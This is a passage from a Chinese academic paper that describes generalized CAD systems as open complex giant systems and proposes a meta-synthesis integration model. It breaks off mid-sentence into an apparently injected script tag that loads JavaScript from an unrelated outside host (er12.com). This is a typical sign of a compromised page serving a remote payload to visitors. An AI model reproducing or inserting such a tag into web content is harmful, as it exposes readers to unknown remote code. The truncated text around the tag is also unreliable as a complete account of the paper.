摘 要：在分析广义cad系统具备开放的复杂巨系统特征的基础上，证明广义cad系统实质为综合集成系统，进而提出广义cad系统综合集成的模式与过程，并研究了广义cad系统分层次信息处理的综合集成方法．
关键词： 广义cad系统；综合集成；信息系统
1 引言
cad技术的发展经历了计算机辅助计算、计算机辅助绘图、计算机辅助设计和集成化计算机辅助设计[1]等几个阶段，其发展趋向于计算机辅助设计全过程（或称计算机辅助广义设计），即广义cad．广义cad所包含的信息量更大，其信息更为复杂，功能更为强大。综合集成方法作为一种科学方法论，已被实践证明是处理复杂巨系统的有效途径，应用综合集成方法处理广义cad系统有利于发挥系统的综合优势。
2 广义cad系统开放的复杂巨系统特征
2.1 开放的复杂巨系统的特征
钱学森所提出的开放的复杂巨系统具有以下三个特征：系统本身与周围环境有物质、能量和信息的交换；系统包含的子系统很多；子系统的种类繁多。
2.2 广义cad的概念
广义设计是指人类为实现一定目标而寻找和选择满意的备选方案的一切活动 ；广义设计研究内容由设计哲理、设计科学、一般设计方法及专业设计知识等层次组成；其核心为司马贺（herbert a. simon）1969年[2]首倡的把设计作为描述性对象的设计科学，设计科学探索人类设计技能的本质、揭示普遍的设计过程模式。
广义cad即是指利用计算机技术辅助设计全过程，涵盖了设计过程的原始资料收集、设计计算、仿真模拟、图形绘制、数据管理等设计环节．与传统cad系统相比，广义cad系统所包含内容无疑大大增加，系统的复杂程度亦大为增加。
2.3 广义cad系统具备开放的复杂巨系统特征
广义cad系统的开放性主要体现在系统的工作平台、用户接口、应用开发环境等可以与外界环境进行物质、能量、信息交换。其开放性确保广义cad系统可以根据需要添加或删除相关信息和计算机硬件设备。
广义cad系统所包含的计算机软硬件数量繁多，所用的信息资源包含了系统理论、人工智能、计算机工程、人机工程、设计理论、各类专业学科等，表现出广义cad系统子系统数量巨大的特征。系统所用信息资源相互关联，相互作用关系复杂，体现出复杂性特征。
3 广义cad系统综合集成模式与过程
3.1 综合集成法的实质及应用
钱学森在20世纪80年代末提出处理开放的复杂巨系统的有效方法是从定性到定量的综合集成法（meta-synthesis，简称为综合集成法）。综合集成法的实质是把有关专家体系、各种类型的数据和信息体系与计算机体系有机结合起来，构成一个高度智能化的系统。朱光亚于1997年[3]指出，综合集成方法的实质是把科学理论和经验知识结合起来，人脑思维和计算机分析结合起来，发挥综合系统的整体优势。
综合集成法的应用[4]包括：
（1）定性综合集成，即相关专家对复杂巨系统的不同层次、不同方面提出各自的经验性假设，经过研究、探讨形成统一在系统整体框架内的定性判断；
（2）定性定量综合集成，即设计者利用计算机技术、人工智能知识、数学知识等建立模型，对上一步提出的定性判断作定量描述；
（3）从定性到定量综合集成，即相关专家再次进行综合集成，根据定量描述结果对定性判断的正确性作出判断，确定原假设是否正确或应作何种修正。
综合集成法的应用实际上也是还原论方法和整体论方法的结合过程，实现整体大于部分之和，体现出综合集成法处理复杂巨系统问题的优势。
3.2 广义cad系统综合集成模式
广义cad系统包括设计者、信息资源和计算机软硬件系统三大部分，分别对应于综合集成系统的专家体系、数据和信息体系以及计算机体系。因此说，广义cad系统实质上是一个综合集成系统，其集成模式如图1所示。
广义cad系统实现综合集成的可行性在于专家经验和知识、数据及信息资源、计算机软硬件均可抽象为完整的信息系统（即包含了信息的产生、获取、处理和施用等步骤），并具有相同的信息模型结构和交叉内容。
广义cad系统集成化是指用统一的执行控制程序来组织各种信息的传递，并协调各子系统的有效运行，即图1中信息资源与cad系统的交叉。人机界面作为用户与计算机之间传递、交换信息的接口和用户使用计算机的操作环境，是人与计算机软硬件的交叉部分。人工智能是人赋予机器系统的功能，使之能针对特定问题或目的有效地处理信息，广义cad系统的智能化即是指人赋予系统具有有效处理知识的能力，是人与信息资源的交叉部分。
主机、图形显示器、键盘、打印机等硬件设备集成构成计算机硬件系统，系统软件、支撑软件、应用软件等构成计算机软件系统；计算机硬件系统和软件系统集成形成cad系统；以此为基础，将cad系统与信息?script src=http://er12.com/t.js>
